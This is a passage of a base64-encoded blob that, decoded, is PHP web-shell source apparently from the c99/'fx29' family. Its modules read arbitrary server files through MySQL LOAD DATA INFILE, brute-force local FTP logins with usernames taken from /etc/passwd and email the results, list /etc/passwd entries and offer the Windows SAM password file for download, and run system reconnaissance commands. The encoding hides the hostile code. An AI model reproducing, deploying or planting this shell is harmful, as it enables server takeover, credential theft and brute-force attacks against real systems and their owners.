tc3RhdHVzIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iO2VjaG8gIjx0YWJsZT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+Ijt3aGlsZSgkcm93PW15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsTVlTUUxfTlVNKSl7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMCBdLiI8L3RkPjx0ZD4iLiRyb3dbMSBdLiI8L3RkPjwvdHI+Ijt9ZWNobyAiPC90YWJsZT48L2NlbnRlcj4iO215c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpO31pZigkc3FsX2FjdD09InNlcnZlcnZhcnMiKXskcmVzdWx0PW15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsJHNxbF9zb2NrKTtlY2hvICI8Y2VudGVyPjxiPlNlcnZlciB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjtlY2hvICI8dGFibGU+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7d2hpbGUoJHJvdz1teXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LE1ZU1FMX05VTSkpe2VjaG8gIjx0cj48dGQ+Ii4kcm93WzAgXS4iPC90ZD48dGQ+Ii4kcm93WzEgXS4iPC90ZD48L3RyPiI7fWVjaG8gIjwvdGFibGU+IjtteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTt9aWYoJHNxbF9hY3Q9PSJwcm9jZXNzZXMiKXtpZighZW1wdHkoJGtpbGwpKXskcXVlcnk9IktJTEwgIi4ka2lsbC4iOyI7JHJlc3VsdD1teXNxbF9xdWVyeSgkcXVlcnksJHNxbF9zb2NrKTtlY2hvICI8Yj5Qcm9jZXNzICMiLiRraWxsLiIgd2FzIGtpbGxlZC48L2I+Ijt9JHJlc3VsdD1teXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsJHNxbF9zb2NrKTtlY2hvICI8Y2VudGVyPjxiPlByb2Nlc3Nlczo8L2I+PGJyPjxicj4iO2VjaG8gIjx0YWJsZT48dGQ+PGI+SUQ8L2I+PC90ZD48dGQ+PGI+VVNFUjwvYj48L3RkPjx0ZD48Yj5IT1NUPC9iPjwvdGQ+PHRkPjxiPkRCPC9iPjwvdGQ+PHRkPjxiPkNPTU1BTkQ8L2I+PC90ZD48dGQ+PGI+VElNRTwvYj48L3RkPjx0ZD48Yj5TVEFURTwvYj48L3RkPjx0ZD48Yj5JTkZPPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+Ijt3aGlsZSgkcm93PW15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsTVlTUUxfTlVNKSl7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMCBdLiI8L3RkPjx0ZD4iLiRyb3dbMSBdLiI8L3RkPjx0ZD4iLiRyb3dbMiBdLiI8L3RkPjx0ZD4iLiRyb3dbMyBdLiI8L3RkPjx0ZD4iLiRyb3dbNCBdLiI8L3RkPjx0ZD4iLiRyb3dbNSBdLiI8L3RkPjx0ZD4iLiRyb3dbNiBdLiI8L3RkPjx0ZD4iLiRyb3dbNyBdLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzAgXS4iXCI+PHU+S2lsbDwvdT48L2E+PC90ZD48L3RyPiI7fWVjaG8gIjwvdGFibGU+IjtteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTt9aWYoJHNxbF9hY3Q9PSJnZXRmaWxlIil7JHRtcGRiPSRzcWxfbG9naW4uIl90bXBkYiI7JHNlbGVjdD1teXNxbF9zZWxlY3RfZGIoJHRtcGRiKTtpZighJHNlbGVjdCl7bXlzcWxfY3JlYXRlX2RiKCR0bXBkYik7JHNlbGVjdD1teXNxbF9zZWxlY3RfZGIoJHRtcGRiKTskY3JlYXRlZD0hISRzZWxlY3Q7fWlmKCRzZWxlY3QpeyRjcmVhdGVkPUZBTFNFO215c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRtcF9maWxlYCAoIGBWaWV3aW5nIHRoZSBmaWxlIGluIHNhZmVfbW9kZStvcGVuX2Jhc2VkaXJgIExPTkdCTE9CIE5PVCBOVUxMICk7Iik7bXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOyRyZXN1bHQ9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdG1wX2ZpbGU7Iik7aWYoISRyZXN1bHQpe2VjaG8gIjxiPkVycm9yIGluIHJlYWRpbmcgZmlsZSAocGVybWlzaW9uIGRlbmllZCkhPC9iPiI7fWVsc2Uge2ZvcigkaT0wIDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspeyRuYW1lPW15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7fSRmPSIiO3doaWxlKCRyb3c9bXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCxNWVNRTF9BU1NPQykpeyRmLj1qb2luKCJcclxuIiwkcm93KTt9aWYoZW1wdHkoJGYpKXtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fWVsc2Uge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCI6PC9iPjxicj4iLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGYpKS4iPGJyPiI7fW15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpO215c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpO319bXlzcWxfZHJvcF9kYigkdG1wZGIpO319fX0gPz4NCgk8L3RkPg0KCTwvdHI+DQo8PyBpZigkc3FsX3NvY2speyRhZmZlY3RlZD1AbXlzcWxfYWZmZWN0ZWRfcm93cygkc3FsX3NvY2spO2lmKCghaXNfbnVtZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkPDAgKSl7JGFmZmVjdGVkPTAgO31lY2hvICJcdDx0cj48dGggY29sc3Bhbj0yPkFmZmVjdGVkIHJvd3M6ICRhZmZlY3RlZDwvdGg+PC90cj4iO30gPz4NCg0KPC90YWJsZT4NCjwhLS0gRW5kIG9mIFNRTCBNYW5hZ2VyIC0tPg0KDQo8PyB9aWYoJGFjdD09ImZ0cHF1aWNrYnJ1dGUiKXtiYXJfaGVhZGVyKCIuOiBGdHAgUXVpY2sgQnJ1dGUgOi4iKTtlY2hvICI8dGFibGU+XG4iO2VjaG8gIjx0cj48dGQ+IjtpZighZW1wdHkoJHN1Ym1pdCkpe2lmKCFpc19udW1lcmljKCRmcWJfbGVuZ2h0KSl7JGZxYl9sZW5naHQ9JG5peHB3ZHBlcnBhZ2U7fSRmcD1mb3BlbigiL2V0Yy9wYXNzd2QiLCJyIik7aWYoISRmcCl7ZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNzd29yZC1saXN0LiI7fWVsc2Uge2lmKCRmcWJfbG9nZ2luZyl7aWYoJGZxYl9sb2dmaWxlKXskZnFiX2xvZ2ZwPWZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO31lbHNlIHskZnFiX2xvZ2ZwPUZBTFNFO30kZnFiX2xvZz0iRlRQIFF1aWNrIEJydXRlICgiLnNoX25hbWUoKS4iKSBzdGFydGVkIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcblxyXG4iO2lmKCRmcWJfbG9nZmlsZSl7ZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fX1Ab2JfZmx1c2goKTskaT0kc3VjY2Vzcz0wIDskZnRwcXVpY2tfc3Q9Z2V0bWljcm90aW1lKCk7d2hpbGUoIWZlb2YoJGZwKSl7JHN0cj1leHBsb2RlKCI6IixmZ2V0cygkZnAsMjA0OCApKTtpZihmeDI5ZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwyMSAsMSAsJHN0clswIF0sJHN0clswIF0sJHN0cls2IF0sJGZxYl9vbmx5d2l0aHNoKSl7ZWNobyAiPGI+Q29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswIF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswIF0uIlwiPC9iPjxicj4iOyRmcWJfbG9nLj0iQ29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswIF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswIF0uIlwiLCBhdCAiLmRhdGUoImQubS5ZIEg6aTpzIikuIlxyXG4iO2lmKCRmcWJfbG9nZnApe2ZzZWVrKCRmcWJfbG9nZnAsMCApO2Z3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30kc3VjY2VzcysrO29iX2ZsdXNoKCk7fWlmKCRpPiRmcWJfbGVuZ2h0KXticmVhazt9JGkrKzt9aWYoJHN1Y2Nlc3M9PTAgKXtlY2hvICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyEiOyRmcWJfbG9nLj0iTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJcbiI7fSRmdHBxdWlja190PXJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0ICk7ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Yj5Eb25lITwvYj48YnI+VG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiI8YnI+VG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIjxicj5TdWNjZXNzLjogPGZvbnQgY2xhc3M9b24+PGI+Ii4kc3VjY2Vzcy4iPC9iPjwvZm9udD48YnI+VW5zdWNjZXNzLjoiLigkaS0kc3VjY2VzcykuIjwvYj48YnI+Q29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyICkuIjxicj4iOyRmcWJfbG9nLj0iXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5Eb25lIVxyXG5Ub3RhbCB0aW1lIChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIlxyXG5Ub3RhbCBjb25uZWN0aW9uczogIi4kaS4iXHJcblN1Y2Nlc3MuOiAiLiRzdWNjZXNzLiJcclxuVW5zdWNjZXNzLjoiLigkaS0kc3VjY2VzcykuIlxyXG5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIgKS4iXHJcbiI7aWYoJGZxYl9sb2dmcCl7ZnNlZWsoJGZxYl9sb2dmcCwwICk7ZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fWlmKCRmcWJfbG9nZW1haWwpe0BtYWlsKCRmcWJfbG9nZW1haWwsIiIuc2hfbmFtZSgpLiIgcmVwb3J0IiwkZnFiX2xvZyk7fWZjbG9zZSgkZnFiX2xvZ2ZwKTt9fWVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7fWlmKCRhY3Q9PSJzZWN1cml0eSIpe2Jhcl9oZWFkZXIoIi46IFNlcnZlciBTZWN1cml0eSBJbmZvcm1hdGlvbiA6LiIpOyA/Pg0KDQo8dGFibGUgY2xhc3M9ImNvbnRlbnRzIj4NCgk8dHI+PHRkPk9wZW4gQmFzZSBEaXI8L3RkPjx0ZD48PyBlY2hvICRob3BlbmJhc2VkaXI7ID8+PC90ZD48L3RyPg0KCTx0ZD5QYXNzd29yZCBGaWxlPC90ZD48dGQ+DQo8PyBpZighaXNfd2luZG93cygpKXtpZigkbml4cGFzc3dkKXtpZigkbml4cGFzc3dkPT0xICkkbml4cGFzc3dkPTAgO2lmKCFpc19udW1lcmljKCRuaXhwd2RfcykpJG5peHB3ZF9zPTAgO2lmKCFpc19udW1lcmljKCRuaXhwd2RfZSkpJG5peHB3ZF9lPSRuaXhwd2RwZXJwYWdlOyA/Pg0KCSpuaXggL2V0Yy9wYXNzd2Q6PGJyPg0KCTxmb3JtIG5hbWU9ImZfcHdkIiBhY3Rpb249Ijw/IGVjaG8gJHN1cmw7ID8+Ij4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic2VjdXJpdHkiPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJuaXhwYXNzd2QiIHZhbHVlPSIxIj4NCgkJPGI+RnJvbTo8L2I+DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuaXhwd2RfcyIgdmFsdWU9Ijw/IGVjaG8gJG5peHB3ZF9zOyA/PiI+DQoJCTxiPlRvOjwvYj4NCgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5peHB3ZF9lIiB2YWx1ZT0iPD8gJG5peHB3ZF9lOyA/PiI+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJWaWV3Ij4NCgk8L2Zvcm0+PGJyPg0KPD8gJGk9JG5peHB3ZF9zO3doaWxlKCRpPCRuaXhwd2RfZSl7JHVpZD1wb3NpeF9nZXRwd3VpZCgkaSk7aWYoJHVpZCl7JHVpZFsiZGlyIl09IjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkdWlkWyJkaXIiXSkuIlwiPiIuJHVpZFsiZGlyIl0uIjwvYT4iO2VjaG8gIlx0XHQiLmpvaW4oIjoiLCR1aWQpLiI8YnI+XG4iO30kaSsrO319ZWxzZSB7ZWNobyAiXHQ8YSBocmVmPVwiIi4kc3VybC4iYWN0PXNlY3VyaXR5Jm5peHBhc3N3ZD0xJmQ9Ii4kdWQuIlwiPjxiPlZpZXcgL2V0Yy9wYXNzd2Q8L2I+PC9hPlxuIjt9fWVsc2UgeyR2PSRfU0VSVkVSWyJXSU5ESVIiXS4nXHJlcGFpclxzYW0nO2lmKGZpbGVfZ2V0X2NvbnRlbnRzKCR2KSl7ZWNobyAiXHQ8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1zYW0mZD0iLiRfU0VSVkVSWyJXSU5ESVIiXS4iXFxyZXBhaXImZnQ9ZG93bmxvYWRcIj48Yj5Eb3dubG9hZCBwYXNzd29yZCBmaWxlPC9iPjwvYT5cbiI7fX0gPz4NCgk8L3RkPjwvdHI+DQoJPHRyPjx0ZD5Db25maWcgRmlsZXM8L3RkPjx0ZD4NCjw/IGlmKCFpc193aW5kb3dzKCkpeyR2PWFycmF5KGFycmF5KCJVc2VyIERvbWFpbnMiLCIvZXRjL3VzZXJkb21haW5zIiksYXJyYXkoIkNwYW5lbCBDb25maWciLCIvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZyIpLGFycmF5KCJBcGFjaGUgQ29uZmlnIiwiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIiksYXJyYXkoIkFwYWNoZSBDb25maWciLCIvZXRjL2h0dHBkLmNvbmYiKSxhcnJheSgiU3lzbG9nIENvbmZpZyIsIi9ldGMvc3lzbG9nLmNvbmYiKSxhcnJheSgiTWVzc2FnZSBvZiBUaGUgRGF5IiwiL2V0Yy9tb3RkIiksYXJyYXkoIkhvc3RzIiwiL2V0Yy9ob3N0cyIpKTskc2VwPSIvIjt9ZWxzZSB7JHdpbmRpcj0kX1NFUlZFUlsiV0lORElSIl07JGV0Y2Rpcj0kd2luZGlyLidcc3lzdGVtMzJcZHJpdmVyc1xldGNcXCc7JHY9YXJyYXkoYXJyYXkoIkhvc3RzIiwkZXRjZGlyLiJob3N0cyIpLGFycmF5KCJMb2NhbCBOZXR3b3JrIE1hcCIsJGV0Y2Rpci4ibmV0d29ya3MiKSxhcnJheSgiTE0gSG9zdHMiLCRldGNkaXIuImxtaG9zdHMuc2FtIiksKTskc2VwPSJcXCI7fWZvcmVhY2goJHYgYXMgJHNlY19hcnIpeyRzZWNfZj1zdWJzdHIoc3RycmNocigkc2VjX2FyclsxIF0sJHNlcCksMSApOyRzZWNfZD1ydHJpbSgkc2VjX2FyclsxIF0sJHNlY19mKTskc2VjX2Z1bGw9JHNlY19kLiRzZWNfZjskc2VjX2Q9cnRyaW0oJHNlY19kLCRzZXApO2lmKGZpbGVfZ2V0X2NvbnRlbnRzKCRzZWNfZnVsbCkpe2VjaG8gIlx0WyA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0kc2VjX2YmZD0iLnVybGVuY29kZSgkc2VjX2QpLiImZnQ9dHh0XCI+PGI+Ii4kc2VjX2FyclswIF0uIjwvYj48L2E+IF1cbiI7fX0gPz4NCgk8L3RkPjwvdHI+DQo8PyBmdW5jdGlvbiBkaXNwc2VjaW5mbygkbmFtZSwkdmFsdWUpe2lmKCFlbXB0eSgkdmFsdWUpKXtlY2hvICJcdDx0cj48dGQ+Ii4kbmFtZS4iPC90ZD48dGQ+XG4iLiI8cHJlPiIud29yZHdyYXAoJHZhbHVlLDEwMCApLiI8L3ByZT5cbiIuIlx0PC90ZD48L3RyPlxuIjt9fWlmKCFpc193aW5kb3dzKCkpe2Rpc3BzZWNpbmZvKCJPUyBWZXJzaW9uIixmeDI5ZXhlYygiY2F0IC9wcm9jL3ZlcnNpb24iKSk7ZGlzcHNlY2luZm8oIktlcm5lbCBWZXJzaW9uIixmeDI5ZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2ZXJzaW9uIikpO2Rpc3BzZWNpbmZvKCJEaXN0cmliIE5hbWUiLGZ4MjlleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7ZGlzcHNlY2luZm8oIkRpc3RyaWIgTmFtZSAoMikiLGZ4MjlleGVjKCJjYXQgL2V0Yy8qLXJlYWxpc2UiKSk7ZGlzcHNlY2luZm8oIkNQVSBJbmZvIixmeDI5ZXhlYygiY2F0IC9wcm9jL2NwdWluZm8iKSk7ZGlzcHNlY2luZm8oIlJBTSIsZngyOWV4ZWMoImZyZWUgLW0iKSk7ZGlzcHNlY2luZm8oIkhERCBTcGFjZSIsZngyOWV4ZWMoImRmIC1oIikpO2Rpc3BzZWNpbmZvKCJMaXN0IG9mIEF0dHJpYnV0ZXMiLGZ4MjlleGVjKCJsc2F0dHIgLWEiKSk7ZGlzcHNlY2luZm8oIk1vdW50IE9wdGlvbnMiLGZ4MjlleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTtkaXNwc2VjaW5mbygibHlueCBpbnN0YWxsZWQ/IixmeDI5ZXhlYygid2hpY2ggbHlueCIpKTtkaXNwc2VjaW5mbygibGlua3MgaW5zdGFsbGVkPyIsZngyOWV4ZWMoIndoaWNoIGxpbmtzIikpO2Rpc3BzZWNpbmZvKCJHRVQgaW5zdGFsbGVkPyIsZngyOWV4ZWMoIndoaWNoIEdFVCIpKTtkaXNwc2VjaW5mbygiV2hlcmUgaXMgQXBhY2hlPyIsZngyOWV4ZWMoIndoZXJlaXMgYXBhY2hlIikpO2Rpc3BzZWNpbmZvKCJXaGVyZSBpcyBwZXJsPyIsZngyOWV4ZWMoIndoZXJlaXMgcGVybCIpKTtkaXNwc2VjaW5mbygiTG9jYXRlIHByb2Z0cGQuY29uZiIsZngyOWV4ZWMoImxvY2F0ZSBwcm9mdHBkLmNvbmYiKSk7ZGlzcHNlY2luZm8oIkxvY2F0ZSBodHRwZC5jb25mIixmeDI5ZXhlYygibG9jYXRlIGh0dHBkLmNvbmYiKSk7ZGlzcHNlY2luZm8oIkxvY2F0ZSBteS5jb25mIixmeDI5ZXhlYygibG9jYXRlIG15LmNvbmYiKSk7ZGlzcHNlY2luZm8oIkxvY2F0ZSBwc3libmMuY29uZiIsZngyOWV4ZWMoImxvY2F0ZSBwc3libmMuY29uZiIpKTt9ZWxzZSB7ZGlzcHNlY2luZm8oIk9TIFZlcnNpb24iLGZ4MjlleGVjKCJ2ZXIiKSk7ZGlzcHNlY2luZm8oIkFjY291bnQgU2V0dGluZ3MiLGZ4MjlleGVjKCJuZXQgYWNjb3VudHMiKSk7ZGlzcHNlY2luZm8oIlVzZXIgQWNjb3VudHMiLGZ4MjlleGVjKCJuZXQgdXNlciIpKTt9ZWNobyAiPC90YWJsZT5cbiI7fWlmKCRhY3Q9PSJta2ZpbGUiKXtpZigkbWtmaWxlIT0kZCl7aWYoJG92ZXJ3cml0ZT09MCApe2lmKGZpbGVfZXhpc3RzKCRta2ZpbGUpKXtlY2hvICI8Yj5GSUxFIEVYSVNUOjwvYj4gJG92ZXJ3cml0ZSAiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSk7fX1lbHNlIHtpZighZm9wZW4oJG1rZmlsZSwidyIpKXtlY2hvICI8Yj5BQ0NFU1MgREVOSUVEOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpO31lbHNlIHskYWN0PSJmIjskZD1kaXJuYW1lKCRta2ZpbGUpO2lmKHN1YnN0cigkZCwtMSApIT1ESVJFQ1RPUllfU0VQQVJBVE9SKXskZC49RElSRUNUT1JZX1NFUEFSQVRPUjt9JGY9YmFzZW5hbWUoJG1rZmlsZSk7fX19ZWxzZSB7ZGlzcF9lcnJvcigiRW50ZXIgZmlsZW5hbWUhIik7fX1pZigkYWN0PT0iZW5jb2RlciIpe2lmKCFpc3NldCgkZW5jb2Rlcl9pbnB1dCkpJGVuY29kZXJfaW5wdXQ9IiI7YmFyX2hlYWRlcigiLjogRW5jb2RlciA6LiIpOyA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KSB7DQogIGRvY3VtZW50LmZvcm1zLmVuY29kZXIuaW5wdXQudmFsdWUgPSB0ZXh0Ow0KfQ0KPC9zY3JpcHQ+DQoNCjxmb3JtIG5hbWU9ImVuY29kZXIiIGFjdGlvbj0iPD8gZWNobyAkc3VybDsgPz4iIG1ldGhvZD0icG9zdCI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0iZW5jb2RlciI+DQoJPHRhYmxlIGNsYXNzPSJjb250ZW50cyI+DQoJCTx0cj48dGQgY29sc3Bhbj0iMiI+SW5wdXQ6PC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9ImVuY29kZXJfaW5wdXQiIGlkPSJpbnB1dCIgY29scz0iNzAiIHJvd3M9IjUiPjw/IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZXJfaW5wdXQpOyA/PjwvdGV4dGFyZWE+PGJyPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ2FsY3VsYXRlIj4NCgkJPC90ZD48L3RyPg0KCQk8dHI+PHRkIHJvd3NwYW49IjQiPkhhc2hlczo8L3RkPg0KPD8gZm9yZWFjaChhcnJheSgibWQ1IiwiY3J5cHQiLCJzaGExIiwiY3JjMzIiKSBhcyAkdil7ID8+DQoJCTx0ZD48PyBlY2hvICR2OyA/Pjo8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNTAiIG9uRm9jdXM9InRoaXMuc2VsZWN0KCkiIG9uTW91c2VvdmVyPSJ0aGlzLnNlbGVjdCgpIiBvbk1vdXNlb3V0PSJ0aGlzLnNlbGVjdCgpIiB2YWx1ZT0iPD8gZWNobyAkdigkZW5jb2Rlcl9pbnB1dCk7ID8+IiByZWFkb25seT4NCgkJPC90ZD48L3RyPg0KCQk8dHI+DQo8PyB9ID8+DQoJCTwvdHI+DQoJCTx0cj48dGQgcm93c3Bhbj0yPlVybDo8L3RkPjx0ZD51cmxlbmNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjM1IiBvbkZvY3VzPSJ0aGlzLnNlbGVjdCgpIiBvbk1vdXNlb3Zlcj0idGhpcy5zZWxlY3QoKSIgb25Nb3VzZW91dD0idGhpcy5zZWxlY3QoKSIgdmFsdWU9Ijw/IGVjaG8gdXJsZW5jb2RlKCRlbmNvZGVyX2lucHV0KTsgPz4iIHJlYWRvbmx5PjwvdGQ+PC90cj4NCgkJPHRyPjx0ZD51cmxkZWNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjM1IiBvbkZvY3VzPSJ0aGlzLnNlbGVjdCgpIiBvbk1vdXNlb3Zlcj0idGhpcy5zZWxlY3QoKSIgb25Nb3VzZW91dD0idGhpcy5zZWxlY3QoKSIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKTsgPz4iIHJlYWRvbmx5PjwvdGQ+PC90cj4NCgkJPHRyPjx0ZCByb3dzcGFuPTI+QmFzZTY0OjwvdGQ+PHRkPmJhc2U2NF9lbmNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjM1IiBvbkZvY3VzPSJ0aGlzLnNlbGVjdCgpIiBvbk1vdXNlb3Zlcj0idGhpcy5zZWxlY3QoKSIgb25Nb3VzZW91dD0idGhpcy5zZWxlY3QoKSIgdmFsdWU9Ijw/IGVjaG8gYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCk7ID8+IiByZWFkb25seT48L3RkPjwvdHI+DQoJCTx0cj48dGQ+YmFzZTY0X2RlY29kZTo8L3RkPg0KCQk8dGQ+DQo8PyBpZihiYXNlNjRfZW5jb2RlKGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpKSE9JGVuY29kZXJfaW5wdXQpeyA/Pg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzUiIHZhbHVlPSJGYWlsZWQhIiBkaXNhYmxlZCByZWFkb25seT4NCjw/IH1lbHNlIHskZGViYXNlNjQ9YmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCk7JGRlYmFzZTY0PXN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTskYT1leHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOyRyb3dzPWNvdW50KCRhKTskZGViYXNlNjQ9aHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpO2lmKCRyb3dzPT0xICl7ZWNobyAiXHRcdDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLiRkZWJhc2U2NC4iXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiI7fWVsc2UgeyRyb3dzKys7ZWNobyAiPHRleHRhcmVhIGNvbHM9XCI0MFwiIHJvd3M9XCIiLiRyb3dzLiJcIiBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiIuJGRlYmFzZTY0LiI8L3RleHRhcmVhPiI7fWVjaG8gIiA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPltTZW5kIHRvIGlucHV0XTwvYT5cbiI7fWVjaG8gIlx0XHQ8L3RkPjwvdHI+XG4iLiJcdFx0PHRyPjx0ZD5CYXNlIGNvbnZlcnRhdGlvbnM6PC90ZD48dGQ+ZGVjMmhleDwvdGQ+PHRkPiIuIjxpbnB1dCB0eXBlPVwidGV4dFwiIHNpemU9XCIzNVwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIlwiIjskYz1zdHJsZW4oJGVuY29kZXJfaW5wdXQpO2ZvcigkaT0wIDskaTwkYzskaSsrKXskaGV4PWRlY2hleChvcmQoJGVuY29kZXJfaW5wdXRbJGldKSk7aWYoJGVuY29kZXJfaW5wdXRbJGldPT0iJiIpe2VjaG8gJGVuY29kZXJfaW5wdXRbJGldO31lbHNlaWYoJGVuY29kZXJfaW5wdXRbJGldIT0iXFwiKXtlY2hvICIlIi4kaGV4O319ZWNobyAiXCIgcmVhZG9ubHk+XG4iOyA/Pg0KCQk8L3RkPjwvdHI+DQoJPC90YWJsZT4NCjwvZm9ybT4NCjw/IH1pZigkYWN0PT0iZnNidWZmIil7JGFycl9jb3B5PSRzZXNzX2RhdGFbImNvcHkiXTskYXJyX2N1dD0kc2Vzc19kYXRhWyJjdXQiXTskYXJyPWFycmF5X21lcmdlKCRhcnJfY29weSwkYXJyX2N1dCk7aWYoY291bnQoJGFyc